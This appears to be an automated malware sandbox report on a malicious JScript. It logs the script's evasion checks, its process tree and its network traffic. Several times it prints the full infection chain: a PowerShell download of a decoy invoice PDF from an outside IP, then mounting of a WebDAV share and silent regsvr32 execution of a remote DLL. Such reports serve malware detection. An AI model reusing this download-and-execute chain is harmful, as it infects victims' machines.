Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9460.js.csv");ITextStream.WriteLine(" entry:8300 f:uslrjwe");ITextStream.WriteLine(" exec:2 f:uslrjwe");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3785			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6014			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep count: 3785 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3324	Thread sleep count: 6014 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6860	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6864	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2916	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2068	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4788	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1478315237.000001CFC9B98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478315237.000001CFC9BF9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2707326629.000001B55B027000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2709245472.000001B560654000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\321081066722972.dll	Jump to behavior
